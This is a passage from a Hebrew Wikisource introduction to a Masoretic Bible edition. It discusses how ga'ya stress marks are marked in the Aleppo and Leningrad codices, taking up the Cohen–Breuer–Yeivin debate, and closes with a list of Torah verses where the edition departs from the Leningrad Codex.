אבל בסופו של דבר, ניתן תמיד להגדיר קטגוריות של מלים במבנה מסוים ובטעמים מסוימים ולקבוע להם כלל, ואז לחפש מכנה משותף לחריגים וליוצאים מן הכלל כדי לקבוע חוק מיוחד גם בשבילם, עד שרק נשארים חריגים בודדים ומעטים. השאלה האמתית היא לא לגבי הנתונים עצמם אלא עניין של הגדרה: האם לראות במציאות זו &quot;נטיות&quot; או &quot;שיטה&quot;? זוהי המחלוקת האמתית בין ייבין וברויאר מצד אחד, לבין כהן בצד השני.

אור נוסף על מחלוקת זו באה משלושה כיוונים שנידונו בפרקי המבוא של כהן: הסביבה המוסיקלית, דיוקו של כתי&quot;ל בתחום הגעיות ובכלל, ואחוזי הדיוק האפשריים בשחזור החלקים החסרים בכתר.

===הסביבה המוסיקלית===

לגבי הסביבה המוסיקלית, כהן טרח לדחות את עמדתו של ברויאר לגבי העדר ביצוע המוסיקלי של הגעיה:

:הסימון, התלוי בסוג הטעם, מלמד על הגורמים העומדים באחרי השיטה: הסימון משקף ביצוע מוסיקלי. ומשמעות הדברים היא: בן-אשר סימן רק את אותם המקומות שמסורת ההגייה והנגינה, שאותה הוא בא להנציח, הצדיקה סימון מוסיקלי. הביצוע המוסיקלי במקומות אלו לא עמד בפני עצמו, אלא תלוי היה בטעם העיקרי, ושימש לו מעין הוכחה או קישוט. הרב ברויאר בספרו 'טעמי המקרא', קובע, כי &quot;הגעיה מורה על נחץ משני שאינו מבוצע על ידי ניגון&quot;. קביעה זו אמנם נכונה היא לשיטת סימון הגעיות המבוצעת במהדורת ברויאר, שאין בה שום הבחנה בין טעמים... אבל בשום פנים אין לומר את הדברים על שיטה כשיטתו של בן אשר, שתלותו של הסימון בסוג הטעמים היא קו יסוד שבה.{{הערה|כהן, פרקי מבוא מלכים, עמ' *8.}}

ביקורת זו אמנם נכונה, אבל דווקא בנושא הביצוע המוסיקלי חרג ברויאר משיטתו של ייבין, חריגה שגם התאים לאופי המהדורה שלו (כמו שכתב כהן ובצדק). נביא שוב את דבריו של ייבין (אבל הפעם נתמקד רק בהסבר אחד מסויים):

:מצד אחר, יש סדירוּת מסוימת בהטעמה זו, שכן יש צורות שבהן הנטייה לגעיה מרובה, ואחרות שבהן היא מועטת; יש טעמים שבהם הנטייה לגעיה מרובה, ואחרים שבהם היא מועטת. אפשר להסביר שיטה זו בכך, שההשהיה אחר השמעת ההברה הראויה לגעיה קלה היתה כנראה בדרך כלל קצרה ביותר, ומשום כך לא הקפידו המנקדים לסמנה; בצורות מסוימות או בטעמים מסוימים היתה ארוכה יותר, ושם הקפידו יותר לסמנה...

לסיכום, כהן כרך ביחד את דחיית התפקיד המוסיקלי של הגעיה, ואת הטענה שסימונן של געיות במקומות מסויימים היה עניין של נטייה ורשות, ולא חובה. את שני הטיעונים שקשר ביחד גם דחה ביחד, ובמקומם טען שלגעיה יש תפקיד מוסיקלי ולכן סימונה בגדר חובה תמיד. אמנם אין ההגיון מחייב שתפקיד מוסיקלי פירושו גם חובת ציון מוחלט, כי ככל שהביצוע המוסיקלי קצר יותר ופחות מובהק, גם הנטייה לסמנו תהיה פחות. וזוהי בדיוק עמדתו של ייבין. כל עוד שתי העמדות מצליחות להסביר את הנתונים – אין דרך להכריע ביניהן, וכל הכרעה תהיה בעצמה בגדר &quot;נטייה&quot;.

===דיוקו של כתי&quot;ל בתחום הגעיות ובכלל===

לגבי דיוקו של כתי&quot;ל בתחום הגעיות, ברויאר טען ש&quot;נוסח הגעיות הקלות של כתב יד לנינגרד הוא מחוסר כל ערך, ואינו זהה כלל עם נוסח הגעיות של בן-אשר&quot;. הוא אף הוסיף וטען על נקדנו של כתי&quot;ל ש&quot;נוסח הגעיות הקלות... עלה במקרה על דעת נקדנו של כתב יד לנינגרד, שמומחיותו בתחום זה איננה דווקא מן המפורסמות&quot;. לעומתו הוכיח כהן באופן מאלף שכל נטיותיו של הכתר בסימונן של געיות בטעמים מסויימים – משותפות הן לכתי&quot;ל, רק במידה שונה: בטעמים המפסיקים, יש בכתי&quot;ל בדרך כלל יותר מלים מכל סוג עם געיה, ופחות מלים מכל סוג בלי געיה. בטעמים המחברים שני כתבי־היד הם בעצם זהים לגמרי: אין בהם כמעט געיות בכלל. וכך מסביר כהן את הדמיון הרב הזה:

:סופרו נקדנו של כ&quot;י '''ל'''... פעל בסביבת ספרי מקרא הקרובים לנוסח בן-אשר, ויש לראותו כאחת החוליות הראשונות בשלשלת המעתיקים, שפעלו במעגל המסירה של נוסח המסורה הטברני לאחר תקופת בעלי המסורה. מעתיקים אלו הם שהעבירו לדורות הבאים את דמות דיוקנו של 'נוסח המסורה', ולפיכך מן הראוי שנשים לב לתוצאות עבודתם.

:אשר למעתיקו-נקדנו של כ&quot;י '''ל''', הרי הרב ברויאר עצמו מודה, שתוצאות עבודתו של נקדן זה בתחום הניקוד והטעמים הן טובות עד כדי כך, שהיה ראוי לשמש מקור מרכזי בשיחזור נוסח ה'כתר' במקומות החסרים. להלן נראה, שיש להתיחס ביתר רצינות גם לנוסח הגעיות שלו, העומד, בעיקרו של דבר, על אותו בסיס שיטתי כנוסח ה'כתר', ובשום פנים אין לומר שמקורו בסימונים שרירותיים של נקדנו. כבר הזכרנו במבואנו למהדורת הכתר, שניקודו של כ&quot;י '''ל''' נעשה בשני שלבים, שלב ההעתקה ושלב ההגהות, ורק בשלב השני היה לפניו ספר הקרוב בניקודו וטעמיו ל'כתר', אבל לא שווה לו. לפי ספר זה הגיה את הניקוד והטעמים, ובעיקר את הגעיות. עצם ההגהה של הגעיות מלמדת, שהנקדן ייחס חשיבות לנוסח הגעיות, וקבעוֹ סופית לפי ספר שסמך עליו, ולא לפי שרירות לב. ואף שיש להניח, כי תהליכי תיקון, שאינם נעשים ע&quot;י מומחה, עלולים להותיר רישומן על התוצאה הסופית, אין הדבר נובע משרירות ליבו של המתקן, אלא משגגתו, והתמונה הכוללת תשקף בדרך כלל את מצע הטקסט שלפיו נעשו התיקונים.{{הערה|כהן, פרקי מבוא מלכים, עמ' *9-*10.}}

ביקורת זו על הרב ברויאר צודקת לגמרי, כפי שהנתונים שהביא כהן מכתי&quot;ל מוכיחים היטב. אמנם אינו דומה המגיה של כתי&quot;ל לבעלי המסורה בכבודם ובעצמם לגבי &quot;נטיות&quot; מול &quot;שיטה&quot;: תפקידו של מגיה הוא להשוות ולתקן, ולא לכתוב נוסח משלו. וגם אין בדמיון בין כתי&quot;ל לכתר חידוש גמור לגבי הנטיות או השיטות המשותפות לשני כתבי־היד, שהרי ישראל ייבין כבר נקט בעמדה דומה לגבי כלל כתבי־היד הקרובים לכתר:

:כל סוגי הגעיה הקלה, בכל סוגי ההברות ובתיבות מוטעמות בכל הטעמים (או כמעט כולם), מצויים ב''א'' (ובכתבי־היד הקרובים). אמנם אין הגעיות הללו מסומנות תמיד; בטעמים מסויימים כמעט שאינן מסומנות כלל ובטעמים אחרים הן אמנם מסומנות הרבה, אך לא בכל מקום...

:שנית, קשה לומר שב''א'' (או בכתבי־היד הקרובים) מצויה '''שיטה''' בהטעמת הגעיה הקלה. אמנם יוצאים הן הכלל יש גם בסוגים אחרים של געיות, אבל הטעמת הגעיה הקלה ב''א'' חורגת עד כדי כך מכל כלל, שאין לתארהּ אלא תיאור סטאטיסטי.{{הערה|ייבין, טו.4, עמ' 139. יצויין שאף אמירתו של הרב ברויאר על בן-אשר, שאילו כתב טופס נוסף של המקרא לא היה מסמן תמיד את אותן הגעיות באותן המקומות, מבוססת לגמרי על הערה מפורשת של ייבין (חלק ב הערה 3, עמ' 140-141.}}

כלומר: אפשר בהחלט להצביע על הנטיות הדומות בסימון הגעיה בין כתבי־היד הקרובים לכתר, וכתי&quot;ל בתוכם, בלי לקבוע שיש בכתר או בכתבי־היד האחרים שיטה מובהקת של סימון געיות כחובה מוחלטת.

===רמת הדיוק האפשרי בשחזור הגעיות===

לגבי אחוזי הדיוק האפשריים בשחזור הכתר, כהן הביא נתון כללי: &quot;ניסויי שיחזור מבוקרים שערכתי בחלקים השלמים לימדו אותי, שניתן להגיע לדיוק ממוצע של כ-95% בשיחזור נוסח הגעיות ב'כתר', הכל לפי אופי הטקסט המשוחזר. שיעור דיוק שכזה מצדיק הצדקה שאין למעלה ממנה את מעשה השיחזור כפתרון המדעי הנכון ביותר שראוי לנקוט בעניין זה.&quot;{{הערה|כהן, פרקי מבוא מלכים, עמ' *21.}} בקטע שבחר כהן כדגם מספר מלכים, הייתה מלכתחילה זהות של כ-94% בין כתי&quot;א לכתי&quot;ל בגעיות הקלות והכבדות, ולאחר שנעשו תיקונים בנוסח כתי&quot;ל ע&quot;פ שיטת הכתר, עלה הדיוק לכדי 98%.

אין ספק אם כן שכתי&quot;ל מייצג היטב את אופי סימון הגעיות הכללי של כתבי־היד העתיקים, ושניתן להשתמש בו כבסיס לשחזור הגעיות בחלקים החסרים של הכתר ברמת דיוק גבוהה. וגם אין ספק שיש הצדקה מוחלטת למעשה שחזור כזה במהדורת מקרא ע&quot;פ הכתר, וכל מהדורה כזו (כגון &quot;מקראות גדולות הכתר&quot;) תהיה לברכה.

אבל בו בזמן צריך לקחת בחשבון את הפער המשמעותי בין רמת הדיוק בשחזור הגעיות לבין רמת הדיוק בשחזור הניקוד והטעמים ע&quot;פ כתי&quot;ל. כי אפילו אם תגיע רמת הדיוק בשחזור הגעיות בכתר ל-98%, עדיין מדובר על טעות סטטיסטית של לא פחות מגעיה אחת בכל 50 (וברמה של 95% על טעות של געיה אחת מכל 20). השחזור כשלעצמו מוצדק וחשוב, אבל הוא עדיין ברמה נמוכה בהרבה מרמת השחזור בניקוד ובטעמים. כל מי שבודק את הסטיות בניקוד ובטעמים בכתי&quot;ל מול החלקים הקיימים בכתר מתרשם מיד שמדובר על ניקוד או טעם אחד בלבד מתוך מאות ואלפים! ואת רובן של הסטיות (המעטות ממילא) בניקוד ובטעמים ניתן להסביר לפי מנהגים אופייניים לכתי&quot;ל.

הפער הגדול הזה בין תחום הניקוד והטעמים מצד אחד, לבין תחום הגעיות הקלות מצד שני, בולט כל כך, עד שקשה לדבר על שיטה מובהקת של חובה המשותפת לשני כתבי־היד. קשה להבין איך, אם בשלב ההגהות בכתי&quot;ל היה לפני המגיה &quot;ספר הקרוב בניקודו וטעמיו ל'כתר', אבל לא שווה לו&quot;, שהוא הצליח לתקן את הניקוד והטעמים עד כדי כך שהם זהים לכתר כמעט לגמרי, ואילו לגבי הגעיות אחת מכל 10-20 תהיה שונה. סביר יותר להניח שסימון הגעיות בכתר עצמו, וכן בספר שהיה מונח לפני המגיה של כתי&quot;ל, הוא עניין של נטיות חזקות ומובהקות ע&quot;פ מסורת מוסיקלית שבעל פה ולא שיטה פורמלית של חובה.

על הקושי לתאר את שיטת בן-אשר באופן מדוייק עמד כהן בעצמו, כאשר כתב במסקנתו שאי-אפשר לשחזר את הגעיות באופן מושלם: &quot;לכל כלל יש יוצאים, ולכל רוב יש מיעוט, ובסעיפים מסוימים הכוחות שקולים, ולא תמיד יכולים אנו לעמוד על גורמי התופעות.&quot;{{הערה|שם, *24.}}

כדי להמחיש עוד יותר את הנקודה הזו, נביא שתי דוגמאות (אחת בטעם פשטא ואחת בזקף קטן). אין בדוגמאות אלו כל משמעות חדשה לגבי הנתונים הסטטיסטיים היבשים של כהן, שהם נכונים כשלעצמם ואין בהם כל דופי. אולם הן ממחישות עד כמה חוסר העקביות בסימון הגעיות בולט לעין עבור כל מי שקורא את כתבי־היד ושם לב לסימון הגעיות. הדוגמאות נלקטו תוך כדי עבודת ההגהה של ספר יחזקאל, אמנם שמנו לב גם בספרים קודמים לעשרות דוגמאות דומות ואף יותר מרשימות (אולם עד העבודה על יחזקאל לא רשמנו אותן וחבל):
*ז,ד: וְלֹא־תָח֥וֹס עֵינִ֛י עָלַ֖יִךְ וְלֹ֣א אֶחְמ֑וֹל כִּ֣י דְרָכַ֜יִךְ עָלַ֣יִךְ אֶתֵּ֗ן וְתוֹעֲבוֹתַ֙יִךְ֙ '''בְּתוֹכֵ֣ךְ תִּֽהְיֶ֔יןָ''' וִידַעְתֶּ֖ם כִּי־אֲנִ֥י יְהֹוָֽה׃
*ז,ט: וְלֹא־תָח֥וֹס עֵינִ֖י וְלֹ֣א אֶחְמ֑וֹל כִּדְרָכַ֜יִךְ עָלַ֣יִךְ אֶתֵּ֗ן וְתוֹעֲבוֹתַ֙יִךְ֙ '''בְּתוֹכֵ֣ךְ תִּהְיֶ֔יןָ''' וִידַעְתֶּ֕ם כִּ֛י אֲנִ֥י יְהֹוָ֖ה מַכֶּֽה׃
*יח,ו: '''אֶל־הֶֽהָרִים֙''' לֹ֣א אָכָ֔ל וְעֵינָיו֙ לֹ֣א נָשָׂ֔א אֶל־גִּלּוּלֵ֖י בֵּ֣ית יִשְׂרָאֵ֑ל וְאֶת־אֵ֤שֶׁת רֵעֵ֙הוּ֙ לֹ֣א טִמֵּ֔א וְאֶל־אִשָּׁ֥ה נִדָּ֖ה לֹ֥א יִקְרָֽב׃
*יח,יא: וְה֕וּא אֶת־כׇּל־אֵ֖לֶּה לֹ֣א עָשָׂ֑ה כִּ֣י גַ֤ם '''אֶל־הֶהָרִים֙''' אָכַ֔ל וְאֶת־אֵ֥שֶׁת רֵעֵ֖הוּ טִמֵּֽא׃
*יח,טו: '''עַל־הֶהָרִים֙''' לֹ֣א אָכָ֔ל וְעֵינָיו֙ לֹ֣א נָשָׂ֔א אֶל־גִּלּוּלֵ֖י בֵּ֣ית יִשְׂרָאֵ֑ל אֶת־אֵ֥שֶׁת רֵעֵ֖הוּ לֹ֥א טִמֵּֽא׃

הביטויים המקבילים בפסוקים המקבילים בולטים לעין הקורא. מדובר בהם על תיבות זהות במבנן ובטעמן, אמנם לפעמים בגעיה ולפעמים בלי געיה. וכמו שהם בולטים לעין הקורא, כך סביר שגם המסרן היה מודע לעובדת חוסר העקביות במקומות דומים ואף זהים. אין בכך כדי לגרוע כלל מהסטטיסטיקות של כהן; אבל יש בכך כדי להמחיש ש'''בנסיון להבחין בין {{קו תחתי|נטייה}} לבין {{קו תחתי|שיטה}}, ייתכן שחוויית הקריאה חשובה יותר מהסטטיסטיקות היבשות.''' תחושת הבטן של הקורא הרגיל בגעיות שבכתר היא שבנסיבות מסויימות יש (או אין) סבירות גבוהה למצוא געיה, אולם תמיד תיתכן הפתעה.

===סימון הגעיות בדפוסים===

עכשיו נעבור לנקודה החמישית והאחרונה שביקש כהן להוכיח, דהיינו מצב סימון הגעיות בעידן הדפוס, מאז מקראות גדולות דפוס ונציה. כהן היטיב להציג את השיטות המגוונות והמנוגדות שבדפוסים, שלפעמים אף באו ביחד בערבוביה בתוך אותו דפוס. את המציאות המבולבלת הזאת הִשווה כהן לְמה שכתב ברויאר על &quot;השיטה הברורה והיציבה של כל מהדורות המקרא, המקובלות בישראל זה עידן ועידנים בכל אתר ואתר&quot;. ביקורת זו מוצדקת, ותיאורו של ברויאר איננו נכון באופן כללי.

אמנם כדי לעשות צדק מלא בנושא זה, יש גם להצביע על מרכיב אחד חשוב ויציב, שעובר כחוט השני בכל הדפוסים מאז מקראות גדולות דפוס ונציה, דהיינו סימון הגעיה הקלה בעקביות, בכל תיבה שראויה לכך מבחינת מבנהּ. סימון עקבי זה משותף לכל השיטות שבאו לידי ביצוע בדפוסים השונים (כגון מצד אחד געיות קלות ולא כבדות ורק אחת בתיבה, או מצד שני געיות קלות וכבדות כאחד וייתכנו שתי געיות בתיבה אחת), וזה בדיוק המרכיב שהוסיף ברויאר במהדורתו.{{הערה|במג&quot;ה הוסיפו על חוסר השיטתיות שבדפוסים ביקורת נוספת על שיטת ברויאר בכך ש&quot;היא מצרפת, מחד, סימון שיטתי של געיות כבדות עם סימון שיטתי של געיות קלות כהיידנהיים, אבל מאידך איננה מקבלת סימון של שתי געיות בתיבה אחת, ובזה צועדת בדרכו של רש&quot;ד. נמצא, שמהדורת ברויאר לא זו בלבד שהיא מצרפת לנוסח בן אשר שיטת געיות זרה לו, אלא שהיא גם מציעה דמות כוללת של נוסח געיות, שלא היתה קיימת מעולם, לא בספר מספרי הדפוס ולא בכתבי היד...&quot; (כהן, פרקי מבוא מלכים, עמ' *15). ביקורת זו נראית מוגזמת קודם כל בגלל שאי־סימון שתי געיות בתיבה אחת הוא סימן מובהק של המסורה: &quot;תיבה אפשר שתהיה ראויה לשתי געיות, בין מסוגים שונים... ובין מסוג אחד... כשבתיבה שתי הברות רצופות הראויות לגעיות מאותו סוג... באה געה אחת בלבד, בין ב''א'' בין במהדורות המקרא המקובלות. אבל אם הברות רצופות ראויות לגעיות מסוגים שונים... ''א'' והקרובים לו נוהגים גם כאן בשיטת ההעדפה ומטעימים געיה אחת בלבד... רק לעתים רחוקות ובסוגים מעטים של תיבות מטעימים הם שתי געיות בתיבה אחת... מצויות כמה דוגמות נדירות, בחינת יוצאות מן הכלל, שבהן שתי געיות בתיבה אחת... פרט לדוגמות המעטות שנזכרו, שבהן מוטעמות ב''א'' שתי געיות בתיבה אחת, בשאר התיבות, והן רוב המקרא, שלטת שיטת ההעדפה ורק געיה אחת מוטעמת...&quot; (ייבין, כ.1-4, עמ' 192-193). שנית, שיטת ברויאר היא לסמן את הגעיות שבכתר ובכתי&quot;ל במתגים רגילים, ולהוסיף את הגעיות הקלות בשיטתיות רק במתג קצר ושונה (כדי להבחין בינם לבין אלה שסימונם בא מכתבי־היד). בכך הבחין ברויאר כבר מלכתחילה הבחנה ברורה בין שיטת הדפוסים לבין שיטת כתבי־היד. ורק אז, לאחר שכבר הוסיף את הגעיות הקלות בעקביות בסימן שונה כדי להבחינן, עוד מיעט לסמנן פעמיים בתיבה אחת ע&quot;פ שיטת המסורה המשתקפת בכתבי־היד. נראה שאם יש כאן חידוש, אז מדובר על חידוש שמבחין היטב בין השיטות השונות, וגם חידוש שמקפיד לשמור על מנהגי הכתר ע&quot;י הבחנתם הברורה ממרכיבים אחרים.}} המקור לסימון העקבי בכל תיבה שראויה לכך מבחינת מבנהּ, בלי להתחשב כלל בטעמהּ, הוא כתבי־היד באשכנז, שם לא התייחסה המסורת המוזיקלית המקומית לגעיות, ואם כן נשאר בשבילן תפקיד פונטי בלבד. במציאות כזו היה נכון לסמן געיה בעקביות בכל תיבה שראויה לכך מבחינת מבנהּ, כדי לכוון את הקורא שיבטא היטב את כל מרכיבי המילה ולא יטעה.

ואמנם המציאות הזאת היא לא רק של אז, אלא משתקפת בדפוסים כבר במשך 500 שנה, והיא מתאימה גם היום בקרב הרוב המכריע של קהילות ישראל. אמנם לא צדק הרב ברויאר לגמרי לגבי בן-אשר עצמו, שבוודאי היו לו נטיות חזקות בסימון הגעיות הקלות, ולא עשה את מלאכתו בשרירות אפילו בתחום הזה; ואילו היה כותב טופס נוסף של המקרא ברור לגמרי שלא היה מסמן געיות בעבקיות בכל תיבה ראויה, ולא היה מרבה בהן בטעמים המחברים. אבל גם אם זה לא נכון לגמרי ש&quot;הן ולאו רפיא בידיה&quot; בתחום הזה, עדיין צודק הרב ברויאר ש&quot;לא על שיטה זו חלה קבלת כל ישראל לנהוג כדעת בן אשר&quot;. המסורת המוסיקלית החיה בקרב הקוראים בטעמי המקרא בישראל קיבלה על עצמה בפועל את הסימון העקבי של הגעיות הקלות.

לסיכום, נראה שהחלטת הרב ברויאר בעניין הגעיות דומה להחלטותיו בנושאים אחרים, ובמיוחד לגבי [[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ב#חטפים באותיות לא גרוניות|סימון החטפים באותיות לא גרוניות]]. בשני הנושאים מדובר על נטייה מובהקת בכתר שאמנם לא באה לידי ביטוי מלא אף בתוך הכתר עצמו, וגם לא מבוצעת באותה רמה סטטיסטית בכתבי־היד הקרובים לכתר (למרות שהנטיות הכלליות דומות). לכן הסיק הרב ברויאר, בעקבות ממצאיו של ייבין, שמדובר בסופו של דבר על עניין של רשות בכל געיה ספציפית, למרות שניתן להצביע באופן ברור על נטיות חזקות ומובהקות של מסרן הכתר בסוגים מסוימים של געיות קלות, ואף על ביצוע מוחלט באחדים מהם. ואם כן החליט לסמן געיות באופן המתאים ביותר לקורא בימינו, שהוא הסימון העקבי והמלא.

===נוסח הגעיות במהדורתנו===

'''נוסח הגעיות לפי כתי&quot;ל:''' אין במהדורתנו שיחזור של כל הגעיות במקומות החסרים בכתר (בניגוד למקראות גדולות הכתר), ואין בה הוספת געיה בכל תיבה הראויה לכך (בניגוד לסימון הגעיות '''הקצרות''' במהדורות ברויאר). אלא העתקנו את הגעיות כמות שהן בכתר (במקומות שהוא קיים){{הערה|סימנו געיות שהיו בכתר במקומות החסרים בו, והם ידועים לנו מתוך צילומים של אחדים מהדפים החסרים, או מתוך עדויות שנכתבו בזמן שכתב־היד עדיין היה שלם.}} ובכתי&quot;ל (ברוב התורה שהכתר חסר). כתוצאה מכך, סימון הגעיות במהדורתנו מקביל בדרך כלל לסימון הגעיות '''הארוכות''' בתוך מהדורות ברויאר (כך הוא סימן את הגעיות הכתובות בכתבי־‏היד כדי לעשות הבחנה).

'''היוצאים מן הכלל:''' יש מקומות בתורה שבהם נכתבה געיה בכתי&quot;ל, אך היא בלתי צפויה או מופיעה בניגוד לכללים, או שהיא נכתבה באות הלא-נכונה לפי הכללים, או שיש שתי געיות בתיבה אחת (או בתיבות מוקפות); לחלופין יש מקומות שבהם נדרשת געית חובה והיא איננה, או שהגעיה צפויה ברמת סבירות גבוהה בהתאם למקבילות (כגון געית פשטא) והיא איננה. הרב ברויאר כבר רשם את הגעיות החריגות הללו בתורה בכ-40 מקומות,{{הערה|ראו במאמרו &quot;ספקות שאין להם הכרע&quot;, '''לשוננו''' נ&quot;ח חוברת ד', אלול תשנ&quot;ד-תשנ&quot;ה (1994), עמ' 283-296; וברשימת &quot;נוסח כתב היד&quot; ב'''כתר ירושלים'''.}} ואת חלקם תיקן במהדורותיו האחרונות (חורב ו&quot;כתר ירושלים&quot;), כל עוד מצא לכך תימוכין בכתי&quot;ל{{כתב עילי|מ}}.{{הערה|מדובר על כתב־יד שנכתב על ידי הסופר שמואל בן יעקב, הסופר שכתב את נוסח האותיות בכתי&quot;ל. כתי&quot;ל{{כתב עילי|מ}} קרוב לשיטתם של כתי&quot;א וכתי&quot;ל בסימון סוגים שונים של געיות, אך בחלק ניכר מהמקומות שטעה בהם בכתי&quot;ל, הוא כתב את הגעיות כהלכתן בכתי&quot;ל{{כתב עילי|מ}}; ראו ברויאר, שם (הערה הקודמת).}}. במהדורתנו בצענו תיקון '''בכל''' הגעיות החריגות שרשם ברויאר בתורה, אפילו במיעוט המקומות שבהם הנוסח החריג נמצא גם בכתי&quot;ל{{כתב עילי|מ}}, ובעוד עשרות מקומות שאותם לא ציין ברויאר. בכל מקום כזה ציינו את גרסתו של כתי&quot;ל בתיעוד הנוסח, ועוד השתדלנו לתעד את נוסח הגעיות בכתבי־היד טברנים מובהקים נוספים (ל1, ב, ש, ש1, ק3, ו).

'''רשימה של היוצאים מן הכלל:''' להלן רשימה של המקומות בתורה שבהם '''לא''' קיבלנו את נוסח הגעיות בכתי&quot;ל בתורה. למידע נוסף לגבי כל פריט, כולל מידע על הנוסח בכתבי־יד טברנים נוספים, ראו בתיעוד הנוסח (בדפי העריכה של הפרקים).{{הערה|מידע על געיות חריגות בכתי&quot;ל בנביאים וכתובים, במקומות החסרים בכתר, משולב בתוך [[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ד#מסורת הקוראים בנ&quot;ך: נוסח הניקוד והטעמים בכתי&quot;ל|רשימת החריגים בנוסח הניקוד והטעמים בכתי&quot;ל]].}}

{{מ:טעמי המקרא|12}}
'''[[מקרא על פי המסורה/תורה#ספר בראשית|ספר בראשית]]''' (36 פריטים): [[בראשית ב/טעמים#ב ז|ב,ז]] (ל=וַֽיְהִ֥י); [[בראשית ה/טעמים#ה ג|ה,ג]] (ל=וַֽיְחִ֣י); [[בראשית ה/טעמים#ה ט|ה,ט]] (ל=וַֽיְחִ֥י); [[בראשית ה/טעמים#ה י|ה,י]] (ל=וַֽיְחִ֣י); [[בראשית ה/טעמים#ה יב|ה,יב]] (ל=וַֽיְחִ֥י); [[בראשית ה/טעמים#ה טו|ה,טו]] (ל=וַֽיְחִ֣י); [[בראשית ה/טעמים#ה טז|ה,טז]] (ל=וַֽיְחִ֣י); [[בראשית ה/טעמים#ה כו|ה,כו]] (ל=וַֽיְחִ֣י); [[בראשית ו/טעמים#ו טז|ו,טז]] (ל?=תַּֽעֲשֶׂ֣ה); [[בראשית ז/טעמים#ז י|ז,י]] (ל=וַֽיְהִ֖י); [[בראשית ז/טעמים#ז יב|ז,יב]] (ל=וַֽיְהִ֥י); [[בראשית ח/טעמים#ח ו|ח,ו]] (ל=וַֽיְהִ֕י); [[בראשית ח/טעמים#ח יג|ח,יג]] (ל=וַֽ֠יְהִי); [[בראשית י/טעמים#י יט|י,יט]] (ל=וַֽיְהִ֞י); [[בראשית י/טעמים#י ל|י,ל]] (ל=וַֽיְהִ֥י); [[בראשית יא/טעמים#יא א|יא,א]] (ל=וַֽיְהִ֥י); [[בראשית יא/טעמים#יא ב|יא,ב]] (ל=וַֽיְהִ֖י); [[בראשית יא/טעמים#יא יג|יא,יג]] (ל=וַֽיְחִ֣י); [[בראשית יט/טעמים#יט יג|יט,יג]] (ל=כִּֽי־גָֽדְלָ֤ה); [[בראשית יח/טעמים#יח טו|יח,טו]] (ל=וַיֹּ֥אמֶר{{מ:פסק}}לֹ֖א); [[בראשית יט/טעמים#יט יג|יט,יג]] (ל=כִּֽי־גָֽדְלָ֤ה); [[בראשית כה/טעמים#כה לא|כה,לא]] (ל=אֶת־בְּכֹֽרָתְךָ֖); [[בראשית כז/טעמים#כז א|כז,א]] (ל=וַיְהִי֙); [[בראשית לא/טעמים#לא מג|לא,מג]] (ל=מָֽה־אֶֽעֱשֶׂ֤ה); [[בראשית לא/טעמים#לא נב|לא,נב]] (ל?=לֹֽא־אֶֽעֱבֹ֤ר); [[בראשית לב/טעמים#לב כו|לב,כו]] (ל=בְּהֵֽאָבְק֖וֹ); [[בראשית לה/טעמים#לה ג|לה,ג]] (ל=וַיְהִי֙); [[בראשית לו/טעמים#לו יח|לו,יח]] (ל=אָֽהֳלִיבָמָ֛ה [2]); [[בראשית לז/טעמים#לז כג|לז,כג]] (ל=וַֽיְהִ֕י); [[בראשית לח/טעמים#לח יח|לח,יח]] (ל=הָֽעֵרָבוֹן֮); [[בראשית לח/טעמים#לח כד|לח,כד]] (ל=לֵֽאמֹר֙); [[בראשית לט/טעמים#לט יא|לט,יא]] (ל=וַיְהִי֙); [[בראשית לט/טעמים#לט יג|לט,יג]] (ל=וַיְהִי֙); [[בראשית מג/טעמים#מג כא|מג,כא]] (ל=וַֽיְהִ֞י); [[בראשית מד/טעמים#מד כד|מד,כד]] (ל=וַיְהִי֙); [[בראשית מה/טעמים#מה יד|מה,יד]] (ל?=בִנְיָמִֽן־אָחִ֖יו); [[בראשית מו/טעמים#מט יט|מו,יט]] (ל?=יַֽעֲקֹ֔ב); [[בראשית מט/טעמים#מט יח|מט,יח]] (ל=לִֽישׁוּעָתְךָ֖).

'''[[מקרא על פי המסורה/תורה#ספר שמות|ספר שמות]]''' (11 פריטים): [[שמות א/טעמים#א כא|א,כא]] (ל=כִּֽי־יָֽרְא֥וּ); [[שמות ה/טעמים#ה ד|ה,ד]] (ל=מִמַּֽעֲשָׂ֑יו); [[שמות ז/טעמים#ז יג|ז,יג]] (ל=וַיֶּחֱזַק֙); [[שמות ח/טעמים#ח כא|ח,כא]] (ל=לֵֽאלֹהֵיכֶ֖ם); [[שמות ט/טעמים#ט לה|ט,לה]] (ל=וַֽיֶּחֱזַק֙); [[שמות יג/טעמים#יג ה|יג,ה]] (ל=כִֽי־יְבִֽיאֲךָ֣); [[שמות יג/טעמים#יג יא|יג,יא]] (ל=כִּֽי־יְבִֽאֲךָ֤); [[שמות טו/טעמים#טו כו|טו,כו]] (ל=כָּֽל־הַמַּֽחֲלָ֞ה); [[שמות כ/טעמים#כ ג|כ,ג]] (ל=תַֽעֲשֶׂ֨ה־לְךָ֥֣); [[שמות כא/טעמים#כא יד|כא,יד]] (ל?=וְכִי־יָזִ֥ד); [[שמות כד/טעמים#כד יא|כד,יא]] (ל=וַֽיֶּחֱזוּ֙); [[שמות ל/טעמים#ל י|ל,י]] (ל=קֹֽדֶשׁ־קָֽדָשִׁ֥ים); [[שמות לב/טעמים#לב ל|לב,ל]] (ל=וַיְהִי֙); [[שמות לו/טעמים#לו יג|לו,יג]] (ל=וַֽיְהִ֥י).

'''[[מקרא על פי המסורה/תורה#ספר ויקרא|ספר ויקרא]]''' (8 פריטים): [[ויקרא א/טעמים#א ה|א,ה]] (ל=הַֽכֹּֽהֲנִים֙); [[ויקרא ג/טעמים#ג יז|ג,יז]] (ל=מֽוֹשְׁבֹתֵיכֶ֑ם); [[ויקרא ח/טעמים#ח יא|ח,יא]] (ל=עַֽל־הַמִּזְבֵּ֖חַ); [[ויקרא ט/טעמים#ט א|ט,א]] (ל=וַיְהִי֙); [[ויקרא כ/טעמים#כ כז|כ,כז]] (ל?=כִּֽי־יִהְיֶ֨ה); [[ויקרא כג/טעמים#כג ג|כג,ג]] (ל=מֽוֹשְׁבֹתֵיכֶֽם); [[ויקרא כג/טעמים#כג לא|כג,לא]] (ל=מֹֽשְׁבֹֽתֵיכֶֽם); [[ויקרא כג/טעמים#כג מד|כג,מד]] (ל=אֶת־מֹעֲדֵ֖י); [[ויקרא כה/טעמים#כה כח|כה,כח]] (ל=לֹֽא־מָֽצְאָ֜ה); [[ויקרא כז/טעמים#כז כח|כז,כח]] (ל=קֹֽדֶשׁ־קׇֽדָשִׁ֥ים).

